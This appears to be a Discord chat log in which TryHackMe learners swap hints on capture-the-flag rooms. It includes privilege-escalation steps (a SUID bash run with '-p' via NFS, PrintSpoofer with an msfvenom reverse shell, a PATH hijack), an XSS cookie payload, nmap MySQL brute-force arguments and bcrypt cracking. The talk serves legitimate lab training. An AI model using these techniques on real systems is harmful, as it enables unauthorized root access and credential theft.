-rw-r--r-- 1 cappucino cappucino 0 Apr 22 2020 .sudo_as_admin_successful
It looks like the bash file is corrupted. Do you have any idea, what can be the issue?

bold lichen May 6, 2021, 3:19 PM

#

wintry remnant Hello, If there is anyone, who can give me a hint with Network service 2- task ...

oh i did this today

#

once ur in the cappucino use chmod +s bash

wintry remnant May 6, 2021, 3:24 PM

#

yes chmod +s bash , will change the permission of the file to "-rwsr-sr-x"

bold lichen May 6, 2021, 3:25 PM

#

no u have to get the permission as show in the question

bold lichen May 6, 2021, 3:27 PM

#

wintry remnant yes chmod +s bash , will change the permission of the file to "-rwsr-sr-x"

https://www.redhat.com/sysadmin/suid-sgid-sticky-bit check this out it explains suid

Enable Sysadmin

Linux permissions: SUID, SGID, and sticky bit

bold lichen May 6, 2021, 3:30 PM

#

wintry remnant yes chmod +s bash , will change the permission of the file to "-rwsr-sr-x"

@white salmon helped me with this task

wintry remnant May 6, 2021, 3:32 PM

#

I believe the permission is "-rwsr-sr-x" . The answer was accepted

bold lichen May 6, 2021, 3:33 PM

#

wintry remnant I believe the permission is "-rwsr-sr-x" . The answer was accepted

yep

wintry remnant May 6, 2021, 3:35 PM

#

after executing "./bash -p". I expect my privilege to escalate to root

#

cappucino@polonfs:~$ ./bash -p
cappucino@polonfs:~$ whoami
cappucino
cappucino@polonfs:~$ id
uid=1000(cappucino) gid=1000(cappucino) groups=1000(cappucino),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
cappucino@polonfs:~$ ls

#

Unfortunately, i am still "cappucino". I wonder if the bash file is corrupted 😩

#

after running ./bash -p , were successful to escalate your privilege to root?

white salmon May 6, 2021, 3:40 PM

#

From your local machine copy /bash to the shared folder path, give it permissions so you cappucino can also execute it.
In polonfs machine, go to the shared folder path and execute bash.

wintry remnant May 6, 2021, 4:07 PM

#

white salmon From your local machine copy `/bash` to the shared folder path, give it permissi...

Ok, thanks. I might miss that step. I will try that

green minnowBOT May 6, 2021, 4:07 PM

#

Gave +1 Rep to @halcyon sequoia

stuck fractal May 6, 2021, 4:30 PM

#

wintry remnant Ok, thanks. I might miss that step. I will try that

Make sure it's owned by root

thorn heart May 6, 2021, 4:47 PM

#

Are we allowed to ask for help on VulnNet Internal here?

bold lichen May 6, 2021, 5:28 PM

#

guys a basic question i wanted to ask , so its from network service 2 and task 9 and it says username in the question now is this the username i did try and i got access denied for user so does it mean this is the usernmame or no

#

the one wiht auth plugin name :mysql_native_password is this the username

silver otter May 6, 2021, 5:30 PM

#

I don't think so

#

I think you need to read the room notes again

#

for that section

#

sepcifically the paragraph labelled "The Scenario"

bold lichen May 6, 2021, 5:33 PM

#

alright

bold lichen May 6, 2021, 5:34 PM

#

silver otter sepcifically the paragraph labelled "The Scenario"

haaa got it thanks

green minnowBOT May 6, 2021, 5:34 PM

#

Gave +1 Rep to @silver otter

bold lichen May 6, 2021, 5:55 PM

#

whats wrong here ?

silver otter May 6, 2021, 5:56 PM

#

a few things, search it again and you can do use 0

#

or, use auxillary/admin/mysql/mysql_sql

#

you wrote auxilllary/scanner/mysql/mysql_sql

bold lichen May 6, 2021, 5:57 PM

#

silver otter you wrote auxilllary/*scanner*/mysql/mysql_sql

ya later i corrected it

silver otter May 6, 2021, 5:58 PM

#

o

#

well it doesn't seem to be correct still

bold lichen May 6, 2021, 5:58 PM

#

silver otter well it doesn't seem to be correct still

YEP done it now thanks alot

green minnowBOT May 6, 2021, 5:58 PM

#

Gave +1 Rep to @silver otter

silver otter May 6, 2021, 5:58 PM

#

excellent

short fox May 6, 2021, 6:58 PM

#

Been away for a little bit...is Vulnnet:Internal still under embargo?

white salmon May 6, 2021, 6:59 PM

#

I guess not.

#

Was it?

short fox May 6, 2021, 6:59 PM

#

I don't know. They've modified the discord since I was last here.

#

I'm looking for a nudge on PrivEsc for the "easy" Vulnnet:Internal

white salmon May 6, 2021, 7:01 PM

#

What is the name of the room? @short fox

#

VulNet and?

potent quail May 6, 2021, 7:02 PM

#

Is the creator of vuln net series in here? I have a question about the intended priv esc but don’t want to spoil the embargo. I’ve finished the room but don’t want to ruin the embargo

#

I can’t find them

white salmon May 6, 2021, 7:02 PM

#

potent quail Is the creator of vuln net series in here? I have a question about the intended ...

Can I DM you?

potent quail May 6, 2021, 7:03 PM

#

Go for it but the room is still under embargo until tomorrow Atleast I think

short fox May 6, 2021, 7:03 PM

#

@white salmon the name of the room is "VulnNet: Internal"

white salmon May 6, 2021, 7:03 PM

#

Also Yes, the room creator is TheCyb3rW0lf

white salmon May 6, 2021, 7:03 PM

#

short fox <@456226577798135808> the name of the room is "VulnNet: Internal"

Go and watch for ||Internal|| things

short fox May 6, 2021, 7:03 PM

#

potent quail Go for it but the room is still under embargo until tomorrow Atleast I think

VulnNet: Internal is? Ok, that's what I was trying to figure out. Thanks.

green minnowBOT May 6, 2021, 7:03 PM

#

Gave +1 Rep to @potent quail

chrome gate May 6, 2021, 7:25 PM

#

Could someone give me a hint or tell me what im doing wrong on RA2? I got the first two flags, but having lots of trouble for flag3. I was able to successfully download the PrintSpoofer exploit onto my attackbox, create a shell.exe with msfvenom, and using an http.server, and using Invoke-WebRequest to move them onto the Windows Machine. I use nlwrap to listen onto the port the reverse shell was created for, and I run the printspoofer exploit on the windows machine with the -c shell.exe argument. It picks up the connection, but no command prompt opens

#

have screenshots to show

agile jewel May 6, 2021, 7:26 PM

#

@potent quail you can do it without exploit

potent quail May 6, 2021, 7:27 PM

#

What do you mean @agile jewel - you have to exploit something to get better privs lol. If you mean without THE exploit, I know. I just wanted to confirm with the room creator, which I’ve now done.

rustic surge May 6, 2021, 8:50 PM

#

1 day left till I can ask for hints on dns recon on nahamstore

#

PepeTired

fathom kayak May 6, 2021, 8:59 PM

#

Hi, I'm already connected Internal(VulnNet Internal) server via ssh. I couldn't access root user. I tried some different techniques but I failed. :/ Can I take any hint? #VulnNet: Internal

old solstice May 6, 2021, 10:08 PM

#

Can anyone help witg the XSS room - Q3: Create an alert pop box that appears on page with document cookie. Why is <script>alert(document.cookie)<.scritp> a wrong answer when it executes fine in lab but the Answer box says incorrect?

worn otter May 6, 2021, 11:13 PM

#

typo in the closing part of the html tags, possibly

white salmon May 7, 2021, 1:20 AM

#

can anyone give a nudge on luniz ctf?, the bcrypt cracking part as john isnt working

worn otter May 7, 2021, 1:27 AM

#

I haven't done that room, sorry

lofty girder May 7, 2021, 1:43 AM

#

white salmon can anyone give a nudge on luniz ctf?, the bcrypt cracking part as john isnt wor...

keep enumerating the box

white salmon May 7, 2021, 1:44 AM

#

I dont have permission to go in home directories where most likely the flags it

#

there is a /proct/pass/bcrypt.py script

#

it has a hash

#

and thats where I am stuck

lofty girder May 7, 2021, 1:46 AM

#

i know about that, keep enumerating the box regardless, run your scans again

white salmon May 7, 2021, 1:46 AM

#

I did run the linpease.sh

#

I found there is an internap

#

internal*

#

port on 8000

lofty girder May 7, 2021, 1:47 AM

#

do you have a shell? linpeas run locally so you just ran it on your own box, not the target

white salmon May 7, 2021, 1:47 AM

#

I have

#

a shell

#

using the command executor, I got the nc revshell

#

I uploaded the linpeas after stabilizing the shell

#

@lofty girder

lofty girder May 7, 2021, 1:53 AM

#

theres more than one path to root

white salmon May 7, 2021, 1:53 AM

#

well

#

let me check other paths

static ocean May 7, 2021, 7:35 AM

#

Any Hint for wreath

silver otter May 7, 2021, 7:38 AM

#

I think wreath is a walkthrough with included instructions

#

anything in particular you are struggling with you can ask in #wreath-network however

brittle marten May 7, 2021, 8:09 AM

#

Is anyone able to help me wit the 'crackthehash' room? I'm having real problems with Task 1 Q4 where the hint says "it's not bcrypt". I have tried every algorithm I can find and no dice. I think I've identified it as ||wbb3|| but hashcat and john don't appear to like it. I considered that the password might not be in rockyou but I can't find any online crackers that can do it either.

Please help me discord users, you're my only hope.

white salmon May 7, 2021, 10:57 AM

#

@brittle marten Search the first three digits of the hash i.e $2y$ and see what comes up.

brittle marten May 7, 2021, 11:01 AM

#

Oh so perhaps I was right originally and I should have just left hashcat going.

#

When it estimated over a day to crack I assumed I'd got it wrong

brave vale May 7, 2021, 11:05 AM

#

brittle marten Oh so perhaps I was right originally and I should have just left hashcat going.

is far below rockyou's list...

brittle marten May 7, 2021, 11:06 AM

#

OK, so would you recommend I use hashcat and GPU or john and CPU to crack it?

white salmon May 7, 2021, 11:06 AM

#

brittle marten When it estimated over a day to crack I assumed I'd got it wrong

I think the time estimated is based on the hashcat ability to try every word's hash value with the hash you want to crack.

brittle marten May 7, 2021, 11:08 AM

#

I've read about how this particular type of hash negates the benefits of the GPU. But I've just bought a brand new GPU and this is the first THM hash that wasn't cracked instantly 😆

white salmon May 7, 2021, 11:08 AM

#

brittle marten OK, so would you recommend I use hashcat and GPU or john and CPU to crack it?

Personally, I would recommend you to install hashcat in your windows and crack hashes with Hashcat and GPU.

brittle marten May 7, 2021, 11:08 AM

#

OK, that's exactly how I'm running it. Thanks.

white salmon May 7, 2021, 11:08 AM

#

Welcome!

silver otter May 7, 2021, 11:08 AM

#

hashid if I remember correctly does ID the hash

brittle marten May 7, 2021, 11:09 AM

#

Yeah but the hint told me explicitly that this was wrong.

#

It's good to know at least that I had done everything right.

silver otter May 7, 2021, 11:09 AM

#

the hint is right

#

I think

white salmon May 7, 2021, 11:09 AM

#

Hint says: Try some other formats that start with the letter b

#

The correct hash does start with b. 🙂

brittle marten May 7, 2021, 11:11 AM

#

Ha ha, that is true. But it definitely reads as though ||bcrypt|| is not the right algorithm.

silver otter May 7, 2021, 11:11 AM

#

well therein lies the trick lol

brittle marten May 7, 2021, 11:12 AM

#

Now I'm back to being confused. I tried every other algorithm starting with a b to no success.

silver otter May 7, 2021, 11:12 AM

#

for reference sake I think THM CTF's won't expect you to crack a hash for more than 5 minutes on a standard gpu

#

if the challenge involves hash cracking

brittle marten May 7, 2021, 11:12 AM

#

Yeah that was my thinking.

silver otter May 7, 2021, 11:13 AM

#

so what options did you get from hashid

brittle marten May 7, 2021, 11:13 AM

#

So now I'm back to thinking that ||bcrypt|| is wrong but I have no idea what to do.

#

One second, let me run it again. Definitely bcrypt and wbb3

#

Oh, and blowfish

#

which appears to be the same as bcrypt

silver otter May 7, 2021, 11:14 AM

#

ignore what it appears to be

brittle marten May 7, 2021, 11:14 AM

#

they have the same code in hashcat

silver otter May 7, 2021, 11:14 AM

#

well, that's the trick

#

lol

bold lichen May 7, 2021, 11:15 AM

#

hey so i have a doubt its from netrwok services 2 and its sort of out of topic or alternative to the given method and i tired to do it , so i want to understand . As it says the alternative method using nmap --script=mysql-enum target how do i check the arguments for the script and if i am i want to send the username and password task9

brittle marten May 7, 2021, 11:16 AM

#

^^ I am also interested in this. I decided to give up and come back to it later.

brave vale May 7, 2021, 11:17 AM

#

brittle marten ^^ I am also interested in this. I decided to give up and come back to it later...

next time just in case it is always a good idea to check the hash in https://hashes.com/en/tools/hash_identifier

white salmon May 7, 2021, 11:17 AM

#

bold lichen hey so i have a doubt its from netrwok services 2 and its sort of out of topic o...

Which task? Also, please be more specific.

#

Oh task 9

bold lichen May 7, 2021, 11:17 AM

#

white salmon Which task? Also, please be more specific.

task 9 and from netrwork services 2

#

so this method is given as the alternative method

brittle marten May 7, 2021, 11:18 AM

#

brave vale next time just in case it is always a good idea to check the hash in https://has...

Thanks. Used that too. Everything is telling me the same thing, but I still feel the hint is misleading.

green minnowBOT May 7, 2021, 11:18 AM

#

Gave +1 Rep to @brave vale

silver otter May 7, 2021, 11:18 AM

#

bold lichen hey so i have a doubt its from netrwok services 2 and its sort of out of topic o...

I'll teach you in a way you can know for every future question about nmap scripting, but basically just do man nmap and read the section about scripts

brave vale May 7, 2021, 11:18 AM

#

bold lichen hey so i have a doubt its from netrwok services 2 and its sort of out of topic o...

check https://nmap.org/nsedoc/scripts/mysql-enum.html

silver otter May 7, 2021, 11:19 AM

#

or check the website from nmap specifically for the script I guess whatever you find easier

bold lichen May 7, 2021, 11:19 AM

#

silver otter I'll teach you in a way you can know for every future question about nmap script...

i did and i dint understand hehe

silver otter May 7, 2021, 11:19 AM

#

what didn't you understand?

bold lichen May 7, 2021, 11:19 AM

#

brave vale check https://nmap.org/nsedoc/scripts/mysql-enum.html

i checked it there are args for brute usrrname and password and i want to use that

bold lichen May 7, 2021, 11:19 AM

#

silver otter what didn't you understand?

how to pass args and if i have to check the args for a particular script

brave vale May 7, 2021, 11:20 AM

#

bold lichen how to pass args and if i have to check the args for a particular script

use --script-args

bold lichen May 7, 2021, 11:20 AM

#

silver otter what didn't you understand?

and i am very basic to nmap so i wanted to try this out to understand

silver otter May 7, 2021, 11:20 AM

#

yeah I'm trying to show you a method that will always be useful

#

because just telling you how to work it out in this once instance I feel wont stick

bold lichen May 7, 2021, 11:20 AM

#

brave vale use --script-args

and pass the args brute.password=password , brute.username=root like this

white salmon May 7, 2021, 11:20 AM

#

@bold lichen Your question is perfect with the article here: https://pentestlab.blog/2013/04/21/pen-testing-sql-servers-with-nmap/

silver otter May 7, 2021, 11:21 AM

#

the nmap comannd I use when I want to find more about a script is --script-help <scriptname>

#

which, is in the man page for nmap

brave vale May 7, 2021, 11:21 AM

#

if you need information about a nmap script you can use --script-help or check the website

white salmon May 7, 2021, 11:21 AM

#

@bold lichen
As I told you, research is something you need to adapt to.
You will not find everything in 1-2 searches. Keep digging and connect the dots together. You will get it.

bold lichen May 7, 2021, 11:22 AM

#

silver otter the nmap comannd I use when I want to find more about a script is --script-help ...

but i have the script name

bold lichen May 7, 2021, 11:22 AM

#

white salmon <@!426939679338659840> As I told you, research is something you need to adapt t...

alright

#

the thing is i am not sure how to use the args

silver otter May 7, 2021, 11:23 AM

#

nmap --script-help <scriptname> | this already assumes you know the script name which is why I put it in <> brackets

brave vale May 7, 2021, 11:23 AM

#

bold lichen but i have the script name

take a moment to read the following, so that you can go deeper into this https://nmap.org/book/nse-usage.html

bold lichen May 7, 2021, 11:23 AM

#

silver otter nmap --script-help <scriptname> | this already assumes you know the script name...

oh my bad okay thanks alot

green minnowBOT May 7, 2021, 11:23 AM

#

Gave +1 Rep to @silver otter

bold lichen May 7, 2021, 11:23 AM

#

brave vale take a moment to read the following, so that you can go deeper into this https:/...

yep i am reading the one hackster sent me

#

if i have doubt i will message u all

bold lichen May 7, 2021, 11:24 AM

#

white salmon <@!426939679338659840> As I told you, research is something you need to adapt t...

thanks

bold lichen May 7, 2021, 11:24 AM

#

brave vale take a moment to read the following, so that you can go deeper into this https:/...

thanks

brave vale May 7, 2021, 11:24 AM

#

bold lichen thanks

np gl!

white salmon May 7, 2021, 11:24 AM

#

bold lichen thanks

Anytime.

bold lichen May 7, 2021, 11:31 AM

#

so i read the article and even the one page by @brave vale

#

the thing is

#

one sec i might be able to explain m doubt with the doc

#

so this is the args page for mysql-enum rite, so i have to use --script-args and what do i type next

white salmon May 7, 2021, 11:33 AM

#

bold lichen so this is the args page for mysql-enum rite, so i have to use --script-args and...

nmap -p 3306 <ip> --script mysql-query --script-args='query="<query>"[,username=<username>,password=<password>]'

bold lichen May 7, 2021, 11:34 AM

#

white salmon `nmap -p 3306 <ip> --script mysql-query --script-args='query="<query>"[,username...

okay query=query ?

white salmon May 7, 2021, 11:34 AM

#

Yea, query can be something like SELECT host, user FROM mysql.user

bold lichen May 7, 2021, 11:35 AM

#

okay

#

so if i have to pass username and password for mysql-enum

#

will it be

red grotto May 7, 2021, 11:36 AM

#

guys how to join vc i cant join any vc

bold lichen May 7, 2021, 11:36 AM

#

nmap -p 3306 <ip> --script mysql-enum --script-args=mysql-enum.userdb [username=<username>]

#

i am getting an error

white salmon May 7, 2021, 11:39 AM

#

I am not pretty sure, but we can try. Let's continue this in Private chat. Shall we? @bold lichen

tight fulcrum May 7, 2021, 11:40 AM

#

red grotto guys how to join vc i cant join any vc

You need to verify

white salmon May 7, 2021, 11:40 AM

#

Also, the script name is mysql-enum @bold lichen

red grotto May 7, 2021, 11:40 AM

#

thanku @tight fulcrum

#

but from where bro

tight fulcrum May 7, 2021, 11:41 AM

#

!docs verify

proud scarabBOT May 7, 2021, 11:41 AM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

red grotto May 7, 2021, 11:41 AM

#

ok thanku

tight fulcrum May 7, 2021, 11:41 AM

#

follow the instructions upvote

red grotto May 7, 2021, 11:41 AM

#

ok

bold lichen May 7, 2021, 11:42 AM

#

white salmon Also, the script name is mysql-enum <@!426939679338659840>

failed to resolve the passdb tho i have no clue of the argument hasnt clearly mentioned what it suppose to use for

bold lichen May 7, 2021, 11:44 AM

#

white salmon Also, the script name is mysql-enum <@!426939679338659840>

but thanks i understood the main part

green minnowBOT May 7, 2021, 11:44 AM

#

Gave +1 Rep to @halcyon sequoia

bold lichen May 7, 2021, 11:44 AM

#

How is lazyadmin for beginners ?

white salmon May 7, 2021, 11:46 AM

#

@bold lichen It's a good CTF. Beginner Friendly!

bold lichen May 7, 2021, 11:47 AM

#

white salmon <@!426939679338659840> It's a good CTF. Beginner Friendly!

alright thanks

brittle marten May 7, 2021, 11:47 AM

#

silver otter ignore what it appears to be

Thanks for the help. It turns out it only took 20 mins to crack so I should have just left it running.

green minnowBOT May 7, 2021, 11:47 AM

#

Gave +1 Rep to @silver otter

silver otter May 7, 2021, 11:47 AM

#

glad you got there, surprising it took 20 mins but yeah

bold lichen May 7, 2021, 11:50 AM

#

white salmon <@!426939679338659840> It's a good CTF. Beginner Friendly!

is it alright to watch a video and learn about it

white salmon May 7, 2021, 11:51 AM

#

bold lichen is it alright to watch a video and learn about it

I'll recommend trying yourself first. Else it is completely up-to you.

fallow onyx May 7, 2021, 11:51 AM

#

silver otter glad you got there, surprising it took 20 mins but yeah

just starting up brainstorm

#

@silver otter so still the same problem

#

i used
sudo nmap -sC -sV 10.10.138.143
still saying no to ping requests

silver otter May 7, 2021, 11:54 AM

#

does the command still run or just end?

fallow onyx May 7, 2021, 11:54 AM

#

just ends

silver otter May 7, 2021, 11:54 AM

#

sudo should make it auto not worry about that

tight fulcrum May 7, 2021, 11:54 AM

#

it's a windows machine..

silver otter May 7, 2021, 11:55 AM

#

will have to add -sS then

#

and see how you go

fallow onyx May 7, 2021, 11:55 AM

#

okay

silver otter May 7, 2021, 11:55 AM

#

unless you aren' connected to the vpn or have the wrong ip address

#

lol

fallow onyx May 7, 2021, 11:56 AM

#

lol no im connected for sure cos i was just doing gatekeeper

silver otter May 7, 2021, 11:56 AM

#

well make sure target ip is right

fallow onyx May 7, 2021, 11:56 AM

#

yep confirmed

#

i copied straight from thm

#

sudo nmap -sS -sV -sC 10.10.138.143
same result

#

can send screens if that helps

silver otter May 7, 2021, 11:58 AM

#

sure

fallow onyx May 7, 2021, 12:00 PM

#

its not letting me send screens on this server?

silver otter May 7, 2021, 12:00 PM

#

you have to verify first

#

!docs verify

proud scarabBOT May 7, 2021, 12:00 PM

#

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

fallow onyx May 7, 2021, 12:01 PM

#

silver otter May 7, 2021, 12:02 PM

#

just just have to add Pn

#

I can confirm nmap -Pn 10.10.13x.14x completed in like 1 minute

#

and got what I needed for the room

#

though I apparently need to fix my nmap knowledge because I thought -sS also ignored pings

fallow onyx May 7, 2021, 12:05 PM

#

yeah youre right
mine worked too
i think it was scanning all ports which made it slow

#

esp with -Pn

#

awesome
thanks a lot @silver otter

green minnowBOT May 7, 2021, 12:06 PM

#

Gave +1 Rep to @silver otter

fallow onyx May 7, 2021, 12:06 PM

#

really appreciate the help

silver otter May 7, 2021, 12:06 PM

#

np

fiery wren May 7, 2021, 12:15 PM

#

hey! bit stuck on Ice room specifically Task 4 Escalate - I have identified the exploit to be ran but mi am getting an OptionValidateError when I run it that means the exploit completes but no session is created - anyone idea whats gone wrong? 😦

radiant badge May 7, 2021, 12:22 PM

#

any hints for privesc on Overpass 1? I believe i'm supposed to be exploiting the ||crontab job|| but i'm not sure how to approach it.

white salmon May 7, 2021, 12:24 PM

#

@radiant badge Did you see the ||cronjob?||

radiant badge May 7, 2021, 12:25 PM

#

yep

#

the problem is i'm not sure what to do with it or how to use it to privesc

stuck fractal May 7, 2021, 12:26 PM

#

It's a combination of that and something else

#

Something else linpeas should be able to pick out

radiant badge May 7, 2021, 12:26 PM

#

hmm i see okay i'll run linpeas again. thanks!

white salmon May 7, 2021, 12:27 PM

#

Atlast, Room belongs to James. 🙂

radiant badge May 7, 2021, 12:28 PM

#

yep saw it while searching for previous mentions of overpass in the discord lol. loving the room so far 👌

white salmon May 7, 2021, 12:30 PM

#

Hey, @stuck fractal.
Posting straight flags for the rooms in a write-up is not under the rules I guess.
Is there any way that those write-ups can be taken down?

stuck fractal May 7, 2021, 12:30 PM

#

No.

#

They shouldn't be accepted by room creators

white salmon May 7, 2021, 12:30 PM

#

Alright!

bold lichen May 7, 2021, 12:41 PM

#

i first tired to do lazy admin i was thrashed then i tired simple ctf

#

i was thrashed again

#

now i am stick to my basic route

silver otter May 7, 2021, 12:43 PM

#

keep going with it, you will get there!

#

its tough starting out, there is a LOT of information and it seems so big

bold lichen May 7, 2021, 12:49 PM

#

silver otter keep going with it, you will get there!

Ya but I got a bit of idea

#

That enumeration and then checking stuff even learnt u can check valun using nmap and about go buster but still I feel I lack alot so I will continue this once I atleast complete the basic guide of them

#

Thm

silver otter May 7, 2021, 12:52 PM

#

some basics getting started, nmap -sV (enumerates versions), sC (default scripts, can get a bit more info), and save the output so you have it as a reference (oN will be a text file that looks like normal nmap output).

#

gobuster, a lot of people just use it to find directories (gobuster dir) but if you add to the end of the command -x php,html,txt it does take longer but it can pick up a lot of files you might otherwise not see

bold lichen May 7, 2021, 12:57 PM

#

silver otter gobuster, a lot of people just use it to find directories (gobuster dir) but if ...

Ya thm has a go buster section rite M

#

?

silver otter May 7, 2021, 12:57 PM

#

uh, maybe, not sure actually

#

but I use it in about 70% of the rooms here

fallow onyx May 7, 2021, 1:15 PM

#

@silver otter so im attempting gatekeeper
when i transfer to windows machine to use with immunity
its saying VCRUNTIME140.dll is missing?

#

i dont think the file got mangled during transfer, ive checked file size etc

silver otter May 7, 2021, 1:15 PM

#

likely missing some windows dll's

#

but i'm no expert on that sorry

bold lichen May 7, 2021, 1:26 PM

#

silver otter but I use it in about 70% of the rooms here

alright no issue i will check out some youtube video

radiant badge May 7, 2021, 1:50 PM

#

stuck fractal Something else linpeas should be able to pick out

i found it but i thought it was a directory ffs i kept trying to cd onto it 🤦‍♂️ had to read a writeup to figure out it was actually a text file. anyway great room dude. looking forward to doing Overpass 2 and 3

stuck fractal May 7, 2021, 1:51 PM

#

Good luck

rapid flower May 7, 2021, 2:32 PM

#

need some hint for privesc in archangel... I know about the ||backup|| file with ||SUID bit set|| and also saw the inaccessible path using strings but not sure how to exploit it

#

i can't create a new directory... neither am I able to export a function with the same path name

brittle marten May 7, 2021, 2:38 PM

#

rapid flower need some hint for privesc in archangel... I know about the ||backup|| file with...

If I remember correctly, the key here is that the ||backup|| calls a binary without specifying the full path
Check the PATH variable to see if it contains any directories that you can write to

rapid flower May 7, 2021, 2:38 PM

#

okayyy... will check it again

glass lion May 7, 2021, 3:41 PM

#

OH

#

It wanted the raw string

#

not md5 hash

#

my bad

#

got the answer

stuck fractal May 7, 2021, 3:43 PM

#

Deleting the rest because you're posting flags

glass lion May 7, 2021, 3:43 PM

#

oh sorry

#

Strings :: Challenge 2
is the exact same question

#

same answer doesn't work

#

but 1:1 same question

#

different file

#

mb

#

this made my learn regex, never tought regex would be this useful

#

takes a hand to learn but once you got it, will save so much time damn

coral crown May 7, 2021, 4:59 PM

#

hi! i'm new in the cyber sec world and realy interested in OSINT. I've tried everything to find the SSID in the OhSINT room but... i'm lost can i have a hint?
P.S. sorry if my english is bad(i'm french!)

stuck fractal May 7, 2021, 5:02 PM

#

Room, task, question?